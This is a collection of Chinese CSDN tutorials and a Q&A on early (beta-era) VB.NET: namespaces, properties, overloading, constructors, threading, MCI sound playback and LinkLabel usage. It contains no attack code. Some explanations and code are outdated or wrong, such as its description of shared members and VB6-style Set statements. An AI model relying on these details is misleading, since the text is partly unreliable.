Public Class MyClass

End Class

End Namespace

我们在工程中还有以下一个独立的源文件，其代码如下：

Namespace MyNamespace

Public Class MyOtherClass

End Class

End Namespace

以上的两短段代码是为了说明在同一个名空间MyNamespace中有两个类：MyClass和MyOtherClass。
这里还需指出，在缺省状态下，VB.NET工程有一个根名空间（root namespace），它实际上是工程属性的一部分。这个根名空间使用了与工程相同的名字。所以当我们使用名空间块结构的时候，我们实际上是增加到根名空间上去。因此，如果你的工程命名为MyProject，那么我们可以这样来定义一个变量：
Private obj As MyProject.MyNamespace.MyClass

当然你也可以改变根名空间，具体操作可以使用菜单选项：Project（工程）->Properties（属性）。


csdn_VB.NET面向对象的实现(二)

VB.NET面向对象的实现(二)

创建方法

    在VB.NET中方法的创建还是跟在VB6中的一样，你可以使用Sub或者Function关键字。Sub和Function的区别是：用Sub来创建一个方法，它将不返回数值；若是利用Function来创建一个方法，它将返回一个数值作为结果。例如：

Sub MyWorks()
End Sub

Function MyValue() As Integer
End Function

在VB.NET中我们仍可以使用辖域关键字，这跟在VB 6中的差不多，只是多了Protected。具体的辖域关键字有：
Private表明只能调用类中的代码；
Friend 表明可以在我们的工程/组件中调用代码；
Public 表明可以在我们的类外部调用代码；
Protected是VB.NET新增的，这个我们将在讨论继承的时候再具体阐述。
Protected Friend 表明只能在我们的工程/组件调用代码以及我们的Subclass的代码。同样我们将在讨论继承的时候再具体阐述。
缺省地，方法的参数是声明为ByVal而不是ByRef。当然，我们仍然可以通过使用ByRef关键字来重载这个缺省的行为。

创建属性

    以前我们创建属性的时候是使用Property Get和Property Let，但现在在VB.NET中已经将它集成到一个结构中去了。例子如下：

Private mystrName As String

Public Property Name() As String
Get
Return mystrName
End Get
Set
mystrName = Value
End Set
End Property

缺省的属性

    在VB6中创建类的时候，我们可以为类声明一个缺省的方法或者属性。具体做法可以菜单选项：Tools（工具）->Procedure Attributes（过程属性）并设置Procedure ID为缺省值。
VB.Net用两种方法改变了这种行为。第一，使用一个缺省的关键字来创建缺省的属性，使得声明更加清晰直观。但是，VB.NET还给缺省的属性引入了一种新的限制，即属性必须是一个属性阵列。
属性阵列实际上就跟数组一样，有一个索引。在选择或者列表对象中的项目属性就是一个例子：
strText = MyList.Item(5)
这个项目属性没有单一的数值，而是有一组的属性，它们可以通过索引来访问。
通过使用属性阵列作为缺省属性，我们就允许程序语言避免了在使用缺省属性的多义性。正如我们在VB6中所知道的，关键字Set的限制是关键。下面再看看以下的语句：
MyValue = MyObject
这句是指对象MyObject还是指它的缺省属性呢？为了识别它，在VB6中使用了Set命令来处理对象，如不使用Set就是指缺省的属性。在VB.NET中这条语句是指对象，因为缺省的属性是要被索引的。为了得到缺省的属性，我们要编写以下代码：
MyValue = MyObject(5)
因为索引是一个清楚的指示器（我们指缺省的属性，而不是MyObject本身），所以就不会有多义的存在了。
VB.NET这样的改变就意味着属性阵列过程必须接收一个参数。例如

Private MyMoney(100) As String
Default Public Property Money(ByVal Index As Integer) As String
Get
Money = MyMoney(index)
End Get
Set
MyMoney(index) = Value
End Set
End Property

最后，看起来这些代码比VB6更清楚，但也会丢失了一些灵活性。在过去，我们喜欢使用缺省的属性。举个例子，我们在用GUI控件的时候经常使用缺省的属性，比如缺省的文本属性。
TextBox1 = MyText
但是这在VB.NET中已经不再有效，因为文本属性不再是一个属性阵列，相反地我们必须使用属性名字。

重载方法

    VB.NET的另外一个新特性是有重载方法的能力。重载的意思是我们可以在一个类中多次声明相同名字的方法只要每一次的声明都有不同的参数列表。
不同的参数列表意味着在列表中不同类型的数据类型。现在让我们先看看以下的方法声明：
Public Sub MyMethod(X As Integer, Y As Integer)
这种方法的参数列表可以看成(integer,integer)。为了重载这种方法，我们必须使用不同的参数列表，例如(integer,double)。当然你还可以改变一下数据类型的顺序，比如(integer,double)和(double,integer)是不同的，这两种也是重载。重载不能只是通过改变函数的返回类型来实现，而是要求参数的数据类型不同。
作为一个例子，假如我们想提供一个搜索的功能并且根据一些条件返回一组数据，具体代码应该为：

Public Function MyFindData(ByVal Name As String) As ArrayList
（搜索数据并且返回结果）
End Function

在VB 6中，如果我们想基于一些条件增加一个新的搜索选项，就必须增加一个不同名字的函数，也就是说VB 6还没有具备重载的能力。但是现在在VB.NET中，我们可以简单地重载已经存在的函数，这一点和Visual C++很是相似。

Public Overloads Function FindData(ByVal Name As String) As ArrayList
（搜索数据并且返回结果）
End Function

Public Overloads Function FindData(ByVal Age As Integer) As ArrayList
（搜索数据并且返回结果）
End Function

仔细观察可以发现两种方法的声明都是有相同的方法名字。这一点在VB 6中就不行的，它要求每一个方法名字都不一样。但是，在VB.NET中就允许存在相同名字的方法，但其参数要求是不同的。值得一提的是，每一个声明都要加入Overloads关键字。
当重载一个方法的时候，我们可以使用Public、Friend等等的辖域关键字让它有不同的作用域，具体做法只要使用不同的参数列表即可。这就意味着我们可以改变MyFindData方法，使它有不同的作用域：

Public Overloads Function FindData(ByVal Name As String) As ArrayList
（搜索数据并且返回结果）
End Function

Friend Overloads Function FindData(ByVal Age As Integer) As ArrayList
（搜索数据并且返回结果）
End Function

有了这个改变，在VB.NET工程中其它代码可以使用MyFindData。MyFindData只需要接收一个整型数据作为参数即可。


csdn_VB.NET面向对象的实现(三)

VB.NET面向对象的实现(三)

对象的生命周期
在VB 6中，对象有一个很清楚的定义以及很容易理解的生命周期的概念，对象的生命周期是由下面的事件来定义的。

事件描述
Sub Main 运行时它将作为组件被装载，并且是在对象创建之前装载。
Class_Initialize 它是在对象中其它代码运行之前运行。当对象被创建的时候它被运
行程序所调用。
Class_Terminate 是在对象中其它代码运行之后再运行。当对象被卸载的时候被运行
程序调用。

在VB.NET，对象也有生命周期的概念，但是已经跟以前大不一样了。特别地，我们不再有相同的组件级的Sub Main（它作为一个DLL被装载）的概念，并且Class_Terminate事件也被改变了，而Class_Initialize事件被成熟的构造函数方法所取代。值得指出的是，这个构造函数方法可以接收参数。
现在在VB.NET中，我们定义一个生命周期只需要用了一个New事件，这个New事件是在对象中其它代码之前运行的，并且在对象被创建的时候被调用。
从VB 6到VB.NET确实变化很大，下面我们具体讨论。

构造

对象构造是在我们创建一个类新的实例的时候被触发的。具体可以使用关键字NEW来实现它。

Sub Main
自从VB 6基于COM，创建一个对象将触发一个Sub Main过程运行。这将发生在一个对象从一个给定的组件（通常为DLL）创建来的时候。在创建对象之前，VB 6运行程序将装载DLL（动态连接库）并运行Sub Main过程。
.NET通用语言运行程序处理组件采取不同的方法，当然VB.NET也是这样的。这就意味着没有Sub Main过程在组件装载时候被调用。实际上，Sub Main只使用在当一个应用程序开始的时候。当另外的组件被应用程序装载的时候，只有在类中的代码才被调用。
其实在VB6中依靠Sub Main是不明智的做法，因为代码将在所有错误操作之前被运行。Sub Main中的Bugs是难以在VB6中调试。如果我们不得不使用依耐于Sub Main概念的代码来初始化，那么我们需要在VB.NET执行一个工作区。
在每一个类中从构造函数方法中调用一个方法是很容易做到的。举个例子，我们可以在一个模块中创建一个有效的代码：

Public Module CentralCode
Private blnHasRun As Boolean
Public Sub Initialize()
If Not blnHasRun Then
blnHasRun = True
（在这里作初始化工作）
End If
End Sub
End Module

这个程序是被设计为只运行一次，不管是怎么被调用。我们可以从类中的每一个构造函数来使用这个方法。比如 ：
Public Class TheClass
Public Sub New()
CentralCode.Initialize()
（这里加入另外的工作）
End Sub
End Class
以上的代码虽然作了一些额外的工作，它跟使用VB6类型的Sub Main程序达到同样的效果。

New方法
就象Sub Main，Class_Initialize是在其它VB6类中的代码运行之前被调用的。此外，它是在错误处理之前被调用的，所以使得调试变得很难，而错误作为一般的错误显示在客户端来实例化对象。另外地，Class_Initialize不用参数，这意味着在VB6中没有方法可以在对象被创建的时候用数据来进行初始化。
VB.NET剔除了Class_Initialize而采用完整的构造函数方法。这个构造函数有完整的错误处理能力以及可以接收参数。所以我们可以在创建对象的时候来对它们进行初始化，这是VB.NET一个十分重要的特性。VB.NET中构造函数方法是Sub New。
Public Class TheClass
Public Sub New()
(在这里初始化对象)
End Sub
End Class

利用这种类型的构造函数，可以如下创建类的实例：
Dim obj As New TheClass()

这个例子类似于在Class_Initialize创建一个VB6代码。
但是，经常地，我们在创建对象的时候往往要用数据来初始化对象。我们可以从数据库中来装载一些数据，或者我们可以直接为对象提供数据。不管用什么方法，我们是想在对象被创建的时候为它提供一些数据。
为了做到这点，可以增加参数列表给New方法：
Public Class TheClass
Public Sub New(ByVal ID As Integer)
(在这里使用ID数值来初始化对象)
End Sub
End Class

现在我们来创建类的一个实例，并且为对象提供数据，代码如下：
Dim obj As New TheClass(42)

为了增加灵活型，我们可以接收可选的参数数值。为了实现这个，可以有两种方法：通过使用Optional关键字来声明一个可选择的参数，或者通过重载New方法。为了使用Optional关键字，我们简单地声明可选择的参数，代码如下：
Public Sub New(Optional ByVal ID As Integer = -1)
If ID = -1 Then
（这里可以初始化对象）
Else
（这里可以使用ID数值来初始化对象）
End If
End Sub

这种方法太过于理想化了，但是，既然我们不得不检查是否参数是（不是）已经提供，然后决定怎样初始化对象。New方法又两个方法可以实现。第一种是对于每种行为类型而言的，它可以通过重载来实现：
Public Overloads Sub New()
（这里可以初始化对象）
End Sub

Public Overloads Sub New(ByVal ID As Integer)
（这里可以使用ID数值来初始化对象）
End Sub

这种方法不仅可以避免有条件的检查以及简化了代码，而且它还使得对于客户代码对象的使用都变得更清晰。这个重载New方法可以使用参数也可以不用参数，有更大的灵活性。
实际上，通过重载，我们可以创建许多不同的构造函数，也可以利用许多种不同的方法来初始化我们的对象。
在VB.NET中构造函数方法是可选的。但是只有一个例外，那就是当我们使用继承的时候，父类就只有一个构造函数需要参数。在本教程的后面我们将讨论继承。


csdn_Visual Basic.NET 中的语言新变化

Visual Basic.NET 中的语言新变化

简介

要快速创建企业级的Web应用程序，开发人员必须依赖于可伸缩性、强壮性和可重用性等商业逻辑。在过去的几年中，面向对象的程序设计成为符合这些要求的系统的首要方法。使用面向对象的编程语言有助于使大规模的系统更易于理解、更易于调试、升级更迅速。

为了使Visual Basic开发人员能够从面向对象设计中受益并简化企业级Web应用程序的开发，Visual Basic的下一个版本——Visual Basic.NET将支持包括实现继承在内的全部面向对象的语言特性。有了这些语言特性，Visual Basic.NET将具有快速开发企业级关键应用所需要的所有能力，同时保持使其成为世界上最流行的开发工具的直接访问性。

Visual Basic.NET提供了一流的面向对象的程序设计语言特性，诸如实现继承、重载和参数化的构造器。此外，开发人员可以通过显式的自由线程编写具有高度可伸缩性的代码，同时通过其它现代化的语言概念如结构化的异常处理等编写具有较高可维护性的代码。Visual Basic.NET将提供开发人员创建强壮、可伸缩的分布式Web应用所需要的所有语言特性：

新增的面向对象编程特性

l 继承

l 重载

l 参数化的构造器

其他的现代化的语言特性

l 自由线程

l 结构化的异常处理

l 严格类型检查

l 共享成员

l 初始化设置

语言更新的历史

Visual Basic语言有很长的更新历史，这与Windows平台的基本性变化是相关的。例如：对QuickBasic的显著改变是支持Windows3.0的GUI开发并产生了第一个版本的Visual Basic。在Visual Basic4.0中向基于COM编程的转变产生了创建DLL的语言概念。在Visual Basic5.0中，其语言发展到支持COM控件的创建。

随着每一次连续的修改，Visual Basic的流行程度越来越高。新Visual Basic面向对象的语言特性为开发人员提供了创建企业级Web应用程序的能力，这必将延续这种趋势。

面向对象的程序设计

在传统的结构化程序设计中数据存储分离与程序代码，这存在着一些弊端。所有的代码被书写成结构化的，而不是模块。因为数据元素可以从任何代码中访问，它可能在开发人员不知道的情况下别修改。这可能会导致非常难于调试的运行时错误。此外，程序维护可能成为一项重要的任务。理解结构化编程中修改一行代码所造成的全局影响是非常困难的。最后，依赖于开发人员控制代码和数据结果会导致较低的可重用性。

面向对象的程序设计(OOP)解决了这些问题，它将数据和在其上实施的方法包装成一个独立的单元，叫做对象。一个对象的数据可以隐藏以防止未经授权的修改。此外，对象公开一组可以在数据上进行操作的公共方法。这种概念叫做封装。由于实现细节和接口相分离，底层的编程逻辑可以在后期改变而不必担心破坏调用对象的代码。

OOP还允许开发人员通过继承同时重用代码和数据。通过从先前确定的对象中继承，开发人员可以更迅速地构造复杂的应用程序。由于编写新的代码总是会有带入错误的潜在可能，重用经过测试的代码可以使产生额外错误的可能性达到最小。

为了适应这些需要，Visual Basic.NET将提供一些新增的语言特性，这些特性可以使其拥有以上所描述的种种益处，使其成为一流的面向对象的编程语言。

继承

一直以来对Visual Basic特性的要求中呼声最高的就是对继承的支持。在Internet时代的开发要求快速地组装和大量的重用。Visual Basic现在完全实现继承，包括可视化窗体的继承。

开发人员可以使用新的关键字Inherits从一个已存在的类中派生。

Class1

Function GetCustomer()

...

End Function

Class2

Inherits Class1

Function GetOrders()

...

End Function

继承语句支持所有与继承相关的性质。派生类的实例支持所有基类所支持的方法和接口。当然，派生类可以扩展基类所支持的方法和接口的集合。派生类可以使用Overrides关键字来替代基类中定义的方法。为减少编程错误，Visual Basic会防止意外的替代一个函数。只有声明为“可替代”的函数被允许在派生类中被替代。

重载

Visual Basic现在允许函数重载，这使开发人员具有建立一个拥有相同名称，但参数类型不同的过程或函数的能力。

当对象模型中规定了要使用名称相近但操作于不同类型的数据之上的过程时，继承尤其有用。例如：一个可能表现为几种不同数据类型的类可以有这样一个Display过程：

Overloads Sub Display (theChar As Char)

...

Overloads Sub Display (theInteger As Integer)

...

Overloads Sub Display (theDouble As Double)

如果没有继承，你就需要为每个过程使用不同的名称或使用Variant参数。重载提供了一种更为清晰、更为有效的方法来处理多种数据类型。

参数化的构造器

参数化的构造器(或简称为“构造器”)允许创建一个类的新实例的同时向这个实例传递参数。构造器对于面向对象的编程来说是必需的。因为它允许用户定义的构造代码通过实例的创建者传递参数。它们通过允许一个新的对象实例在一个单独的表达式中创建并初始化以简化客户机程序的代码。

其他的现代化语言特性

Visual Basic.NET增加了一些简化具有强壮性和可伸缩性应用开发的新概念。这些特性包括自由线程、结构化的异常处理、严格的类型安全等以及诸如初始化设置和共享成员等能够提高生产率的新特性。

自由线程

现在当开发人员在Visual Basic中创建应用程序时，他们所编写的代码是同步的。这意味着每行代码要在下一行代码之前执行。开发Web应用程序的时候，可伸缩性是关键。开发人员需要是并行处理成为可能的工具。

通过自由线程，开发人员可以生成一个线程来完成一些运行时间长的任务、执行一个复杂的查询或运行一个多部分的计算，而应用程序的其它部分继续执行，提供了异步处理。

Sub CreateMyThread()

Dim b As BackGroundWork

Dim t As Thread

Set b = New BackGroundWork()

Set t = New Thread(New ThreadStart(AddressOf b.Doit))

t.Start

End Sub

Class BackGroundWork

Sub DoIt()

...

End Sub

End Class

结构化的异常处理

开发企业级的应用程序要求创建可重用的、可维护的部件。在过去的Visual Basic版本中，Basic语言的一个具有争议的方面是其对错误处理的支持。开发人员已经发现一致的错误处理方案意味着大量的赋值代码。利用现存的On Error Goto语句的错误处理方法有时会减缓大规模应用程序的开发和维护。其叫法就反映出这样一些问题：如Goto所意味的，当一个错误发生时，控制权转移到子程序中一个有标记的位置。一旦错误代码运行，它必须时常通过另外的清除位置来转向，而后者又要经过一个标准的Goto，最后还是要通过其他的Goto或Exit来退出过程。使用Resume和Next的多种组合来处理几个不同的错误将会产生难以读懂的代码并且在执行路径没有被完全考虑到的时候会导致频繁的错误。

利用Try...Catch...Finally，这些问题将不复存在，开发人员可以嵌套其异常处理，同时这是一种用于编写在正常条件和异常条件下执行清洁代码的控制结构。

Sub SEH()

Try

Open "TESTFILE" For Output As #1

Write #1, CustomerInformation

Catch

Kill "TESTFILE"

Finally

Close #1

End try

End Sub

严格的类型检查

当前的Visual Basic语言在其可能产生隐式的类型强制转换上是非常自由的。对于赋值和除了引用方式之外的参数传递，Visual Basic编译器可以允许几乎任何一种数据类型通过发生运行时强制类型转换向其他数据类型转换。如果要转换的值不能在没有数据损失的情况下被转换，那么运行时的强制转换可能会失败。通过增加一个新的编译选项，Visual Basic可以对任何可能在运行时发生错误的转换产生编译时错误。选项Strict通过在要求一个可能在运行时失败的转换或诸如在数字类型和字符串之间的在用户预期之外的自动转换时产生错误来改善类型安全。

共享成员

共享成员是指由类的所有实例所共享的数据和函数成员。在类的所有实例中共享一个数据成员或函数的单个实例是使用继承的Visual Basic应用程序所需要的。一个共享数据成员独立地存在于类的每个实例中。共享方法不同于普通的方法，它并不是隐式的传递类的一个实例。由于这个原因，在共享方法中对非共享数据成员的无限制引用是不允许的。共有的共享成员可以被间接地访问，而且它们可以从类的实例后期绑定。

初始化设置

Visual Basic.NET支持在变量的声明行中对其初始化。初始化设置可以在包括控制结构的任何地方使用。含有初始化设置的过程级声明的语义与一个声明语句后紧跟一个赋值语句是相同的。换句话说，语句

Dim X As Integer=1与

Dim X As Integer

X=1是相同的。

结束语

Visual Basic现在是一流的面向对象编程语言，使用Visual Basic.NET，开发人员可以通过显式的自由线程创建高度可伸缩的代码。他们所编写的代码增加了如结构化异常处理等现代化语言概念的使用，将具有很高的可维护性。Visual Basic将为开发人员创建强壮的、可伸缩的分布式Web应用提供所需要的一切语言特性。


csdn_VB.NET多线程开发实例

VB.NET多线程开发实例
内容:
VB.NET（Visual Basic.NET）是为适应Microsoft .NET框架的需要，
对Visual Basic进行了重大改造后的开发工具。它比Visual Basic
6.0功能更强大，更易于使用。其中最重要的变化就是对象继承，在
VB.NET中，所有可管理的类型都衍生自System.Object。作为编程工
具，最重要的一个特性就是垃圾碎片的回收，它由CLR（Common
Language Runtime）进行控制，并提供更好的内存管理功能。通用的
类型定义可以提供更好的互操作性和协同工作能力，因此，VB.NET显
得更强大、更具可靠性。
在VB.NET中，大多数CLR内建的类型都在System名字空间里已经定义
了。比如：System.Object, System.Int32, 和 System.String。要
注意的是：一个名字空间可能嵌在另一个名字空间内，象
System.Data里就有System.Data.DataSet的类。
代表是CLR编程模型很重要的一个新概念。代表是一个特殊类型的可
管理的类，当你创建一个代表的实例时，你必须提供一个带有匹配签
名的方法执行的地址，一旦创建了一个代表的实例，调用方法将变的
很容易。
过去，我们利用VB开发多线程的应用程序时，是一件很令人痛苦的
事，经常是多线程的程序运行是会变成多错误的程序！但在VB.NET
中，这种状况已经大为改观。现在，我们利用VB.NET处理多线程和利
用JAVA处理多线程一样简单了。下面我们就举个例子，来看看VB.NET
的多线程吧！
下面是多线程程序threadtest.vb的代码：

imports System
imports System.Threading

public class AClass

public sub Method1()
Dim i as integer
For i = 1 to 100
Console.Writeline("这是类AClass方法method1的内容",i)
next
end sub

public sub Method2()
Dim i as integer
For i = 1 to 100
Console.Writeline("这是类AClass方法method2的内容",i)
next
end sub

end class

public class ThreadTest

public shared sub Main()
dim obj as new aclass
dim th1,th2 as thread

th1=new Thread(new ThreadStart(addressof obj.method1))
th1.start

th2=new Thread(new ThreadStart(addressof obj.method2))
th2.start

dim i as integer
For i= 1 to 100
Console.WriteLine("Main方法里的内容",i)
Next
end sub

end class

现在，来让我们剖析一下上面的例子：
1.我们创建了我们自己的类AClass，并创建了两个方法：Method1和
Method2。
2.这两个方法很简单，只有一个For循环，向输出设备输出一些信
息。
3.我们还定义了另外一个类ThreadTest来使用上面创建的类
AClass。
4.在Main()方法中，我们创建了类Thread的实例。
5.类Thread可以在System.Threading名字空间里得到，它定义了处理
线程的属性和方法。
6.在类Thread的构造器中，我们使用了类ThreadStart，类
ThreadStart是一个代表，标志着当一个线程开始时就开始执行定义
的方法。
7.为了执行定义的方法，我们实际调用的是线程的Start()方法。
8用VBC来编译上面的程序：
vbc /out:threadtest.exe threadtest.vb
9.运行编译后的程序，我们将会看到我们定义的两个方法和main()方
法的混合输出，这就说明每一个方法都在自己的线程下运行。
10.除了上面的方法，线程还有下面常用的方法：
Stop():停止线程的运行。
Suspend()：暂停线程的运行。
Resume()：继续线程的运行。
Sleep()：停止线程一段时间（单位为毫秒）。

上面只是VB.NET多线程的一个简单的例子，希望对大家有所启发！


csdn_VB.Net播放声音文件

VB.Net播放声音文件
内容:
添加三个button控件，写代码如下：

Imports System.ComponentModel '引用 族名
System.ComponentModel

Imports System.Drawing '引用族名 System.Drawing

Imports System.WinForms '引用族名 System.WinForms

'引用族名的目的是在调用他的子类时不需要写出族名,如
system.drawing.color写成color

Public Class Form1

Inherits System.WinForms.Form ' Inherits是从已有的一个类
继承，得到这个类已定义的方法

Public Sub New()

MyBase.New() 'mybase是指代父类 mybase.new是调用父类的
new过程，new是新建一个对象，对象是存在内存的，类是并不存在内存
的

Form1 = Me '这样，下面的me关键字 就被认定为form1

InitializeComponent() '这下面的代码是在新建一个form1
的实例时执行的初始化动作

Call me_load() '这是自定义的一个子过程

End Sub

'Form overrides dispose to clean up the component list.

Overrides Public Sub Dispose()

AxMMControl1.Command = "close" '关闭声音资源，这个代
码一定要放在dispose过程的前面

MyBase.Dispose() 'dispose是清除对象

components.Dispose() '清空组件

End Sub


csdn_VB.Net播放声音文件2

VB.Net播放声音文件2
内容:

'下面的代码是对属性的描述，是系统自已生成的，不要随意修改

#Region " Windows Form Designer generated code "

'Required by the Windows Form Designer

Private components As System.ComponentModel.Container

Private WithEvents Button3 As System.WinForms.Button

Private WithEvents Button2 As System.WinForms.Button

Private WithEvents Button1 As System.WinForms.Button

Private WithEvents AxMMControl1 As AxMCI.AxMMControl

Dim WithEvents Form1 As System.WinForms.Form

'NOTE: The following procedure is required by the
Windows Form Designer

'It can be modified using the Windows Form Designer.

'Do not modify it using the code editor.

Private Sub InitializeComponent()

Dim resources As System.Resources.ResourceManager =
New System.Resources.ResourceManager(GetType(Form1))

Me.components = New System.ComponentModel.Container
()

Me.Button1 = New System.WinForms.Button()

Me.AxMMControl1 = New AxMCI.AxMMControl()

Me.Button3 = New System.WinForms.Button()

Me.Button2 = New System.WinForms.Button()

AxMMControl1.BeginInit()

'@design Me.TrayHeight = 0

'@design Me.TrayLargeIcon = False

'@design Me.TrayAutoArrange = True

Button1.Location = New System.Drawing.Point(8, 8)

Button1.Size = New System.Drawing.Size(80, 32)

Button1.TabIndex = 1

Button1.Text = "Button1"

AxMMControl1.OcxState = CType(resources.GetObject
("AxMMControl1.OcxState"), System.WinForms.AxHost.State)

AxMMControl1.TabIndex = 0

AxMMControl1.Size = New System.Drawing.Size(236,
33)

AxMMControl1.Location = New System.Drawing.Point
(32, 56)

Button3.Location = New System.Drawing.Point(208, 8)

Button3.Size = New System.Drawing.Size(80, 32)

Button3.TabIndex = 3

Button3.Text = "Button3"

Button2.Location = New System.Drawing.Point(104, 8)

Button2.Size = New System.Drawing.Size(88, 32)

Button2.TabIndex = 2

Button2.Text = "Button2"

Me.Text = "Form1"

Me.AutoScaleBaseSize = New System.Drawing.Size(6,
14)

Me.ClientSize = New System.Drawing.Size(296, 29)

Me.Controls.Add(Button3)

Me.Controls.Add(Button2)

Me.Controls.Add(Button1)

Me.Controls.Add(AxMMControl1)

AxMMControl1.EndInit()

End Sub

#End Region

'上面的代码是对属性的描述，是系统自已生成的，不要随意修改


csdn_VB.Net播放声音文件3

VB.Net播放声音文件3
内容:

Protected Sub Button1_Click(ByVal sender As Object,
ByVal e As System.EventArgs)

AxMMControl1.From = 8815 '从3000毫秒开始

AxMMControl1.To =15624 '从6000毫秒结束

AxMMControl1.Command = "play" '播放

End Sub

Protected Sub Button3_Click(ByVal sender As Object,
ByVal e As System.EventArgs)

Me.Dispose() '调用dispose退出程序，释放占用的资源

End Sub

Protected Sub Form1_Click(ByVal sender As Object, ByVal
e As System.EventArgs)

End Sub

Protected Sub Button2_Click(ByVal sender As Object,
ByVal e As System.EventArgs)

AxMMControl1.From = 0 '从 0毫秒开始

AxMMControl1.To = 8815 '从3000毫秒结束

AxMMControl1.Command = "play" '播放

End Sub

Protected Sub AxMMControl1_OLEDragDrop(ByVal sender As
Object, ByVal e As AxMCI.DmciEvents_OLEDragDropEvent)

End Sub

Public Sub me_load()

Me.BackColor = color.BlanchedAlmond '改变背景色为
BlanchedAlmond

Me.BorderStyle = FormBorderStyle.None '改变窗体边框为
none,没有标题栏

button1.Text = "播放上段" : button2.Text = "播放下
段" : button3.Text = "退出程序"

AxMMControl1.TimeFormat = 0

AxMMControl1.DeviceType = "waveaudio" '定义播放*.wav
格式

AxMMControl1.filename =
System.WinForms.Application.StartUpPath & "\"
& "muli.wav" '载入文件，
System.WinForms.Application.StartUpPath为当前目录的意思

AxMMControl1.Command = "open" '打开载入的文件

AxMMControl1.Visible = False '使控件不可见，在后台工
作

End Sub

End Class

至于从几毫秒开始到几毫秒结束，是把不同的声音文件使用如
acoustica.exe这样的声音编辑程序整理成一个文件，记住先使用
windows的录音机录下来，这样生成的文件较小,把一些杂音，空白都剪切
掉，这样就是很小了。


csdn_在vb.net中使用新的控件labellink访问网页

在vb.net中使用新的控件labellink访问网页
内容:
public sub new()
mybase.new
form1 = me
initializecomponent()
在initializecomponent()下面加入初始化组件的代码
me.linklabel1.text = "http://vbnetcn.126.com" '网址
linklabel1.linkvisited = true '是否标记已访问链接
linklabel1.linkcolor = color.black '链接色
linklabel1.visitedlinkcolor = color.blue '已访问链接色
end sub
下面是linklabel的点击时触发的事件
protected sub linklabel1_linkclick(byval sender as object,
byval e as system.eventargs)
直接访问linklabel1.text所呈现的网址
system.diagnostics.process.start(linklabel1.text)
当然你也可以指定与linklabel1.text不同的网址或email,如：
system.diagnostics.process.start("mailto:vbnetcn@163.com")


csdn_VB.Net基于数据库操作

VB.Net基于数据库操作
内容:
Visual Basic 6.0提供了以下类型的数据库访问方式：
ActiveX Data Objects (ADO)
Remote Data Objects (RDO)
Data Access Objects (DAO)

Visual Basic.NET包含了增强版的ADO，称之为ADO.NET。
ADO.NET的目标是操作离线数据。同时对于ADO的分布
应用提供了更强大的支持。ADO.NET提供了绑定数据库到Windows窗体
控件和Web窗体。
通过做一些小的更改，DAO,RDO,ADO仍然可以在Visual
Basic.NET中使用。然而，Visual Basic.NET不支持DAO
和RDO数据库到控件、数据库控件或者RDO用户连接的绑定。我们建议
在应用中包含DAO和RDO的应用或者仍然使用
Visual Basic 6.0开发或者再升级到Visual Basic.NET前将它们更改
为ADO数据绑定。


csdn_VB.Net问答全集

VB.Net问答全集
内容:
问：VB7如何发布程序。

答：在new project(新建工程)的对话框中选定setup and deployment
project后，再选中右面的setup wizard
在工程管理属性窗口点击setup1，窗口上面出现好多个小图标，点击其
中任何一个都能从每一方面自定义安装程序。

------------------------------------------------------------
问：如何知道我的程序需要带哪些动态链接库及控件

答：你可以在Reference下面看到引用的类库，右键菜单中有更多的功
能。自已试一下除了通用运行库MSCOREE.DLL MSCORLIB.DLL 以
外就是bin目录下的所有组件。在安装向导中还是选中所有组件比较好，
否则在别人的电脑上可能
运行不正常。安装程序跟普通的程序一样，需要进行编译，并与普通的窗
体一样是可编辑的。

------------------------------------------------------------
问：VB.Net的下载地址

答：ftp://166.111.168.7/newsoft/有IE浏览器可直接访问或用
CuteFTPAnonymous匿名登录有Office XP Final及VS.Net等
[ChinaASP论坛hooke提供]ftp://ftp.cug.edu.cn/pub/Microsoft/有
IE浏览器可直接访问或用CuteFTPAnonymous匿名登录有
Whistler//VS.Net等[CSDN论坛wbtvc提供]

------------------------------------------------------------
问：(beta2)有没有解决内存泄漏问题呀，我的机子开一会儿vs7，MEM
usage就会到400多。真是致命

答：B2已解决内存泄漏问题

------------------------------------------------------------
问：请问一下，我在vb.net中发现，当我将一个textbox的字体改变的时
候，要出错，说是只读属性（readonly)。
我使用的方式是：textbox1.text.font.Bold=TRUE

答：首先你可能是写错了不可能是textbox1.text.font.Bold=TRUE ,你
肯定是写成textbox1.font.Bold=TRUE了，对不对?
只读是说只能获得，不能修改。 你这样写是从VB6带来的思路，你可以使
用兼容的类----VB6
textbox1.font = VB6.FontChangeBold(Text1.Font, True)
标准的写法应该是（要将下面的代码写在一行）：
textbox1.Font = New System.Drawing.Font(\"宋体\", 9!,
System.Drawing.FontStyle.Bold)
明白了么，Font虽然出现在Textbox1后面，可他是Drawing的子类了，不
要弄错了。Bold是Drawing.FontStyle的子类。

------------------------------------------------------------
问：安装VS.Net时如何自定义

答：在《一步一步安装VB.Net》中的自定义路径这一步的图示出现时可以
选择路径，以及需要安装的部件，因听说删除部份组件会导致运行不正
常，所以建议完全安装。

------------------------------------------------------------
问：安装第三张盘的时候还是提示语言类型不正确

答：先装英文的IE,然后将CD3的所有setup都执行一遍，出错的就不装，
最后重启，再从CD1开始装，提示放入CD3再放入CD3。
不要忘记下载
http://go5.163.com/~vbnetcn/down/Q274294_W2K_SP2_x86_CN.EXE
当然前提必须装了office,否则老实不客气说你语言类型不正确

------------------------------------------------------------
问：现在*版光盘。哪一个版本的VB.NET是最好的呢？有单盘的VB.net么

答：没有单盘的VB.Net，VS.Net是3张盘,市面上都是6张盘的，后面3张
是2000年6月的MSDN

------------------------------------------------------------
问：请问哪里有vb.net的电子书下载

答：http://my.6to23.com/vbnetcn/down/down.htm

------------------------------------------------------------
问：哪里有VB.Net的例子

答：http://my.6to23.com/vbnetcn/down/down.htm

------------------------------------------------------------
问：哪里下载最新的MSDN

答：ftp://166.111.168.7

____________________________________________________________
问：不用api 如何在vb.net剪切出奇怪的窗口

答：http://go5.163.com/~vbnetcn/下载skinform的源码并有相关的
文章可以做出任何想象得到的窗口
------------------------------------------------------------
问：如何得到skinform的解压密码

答：解压密码在http://luntan2.163.com/forum/list.php?
num=97268////VB.Net中文论坛去找

------------------------------------------------------------

问：vs.net 是否必须在win2000 server 英文版下安装运行(sp1)

答：最好是英文版，中文版要装中文的SP，而在VS.Net中只有英文的
SP，要你自已去找来的
，不过win9x也可以试试看，VS.Net的WIN98SP有支持中文

------------------------------------------------------------

问：请问在Windows98，IE6环境下安装VB.net的过程

答：win9x可以装(包括winME)，说明书是早的时候出来的所以说要2k才
能装,vb6可以共存，而且可以相互间调用，
可以在vb6写控件拿到net中用。
有时候弹出对话框说版本不对不是这个原因，多试几次
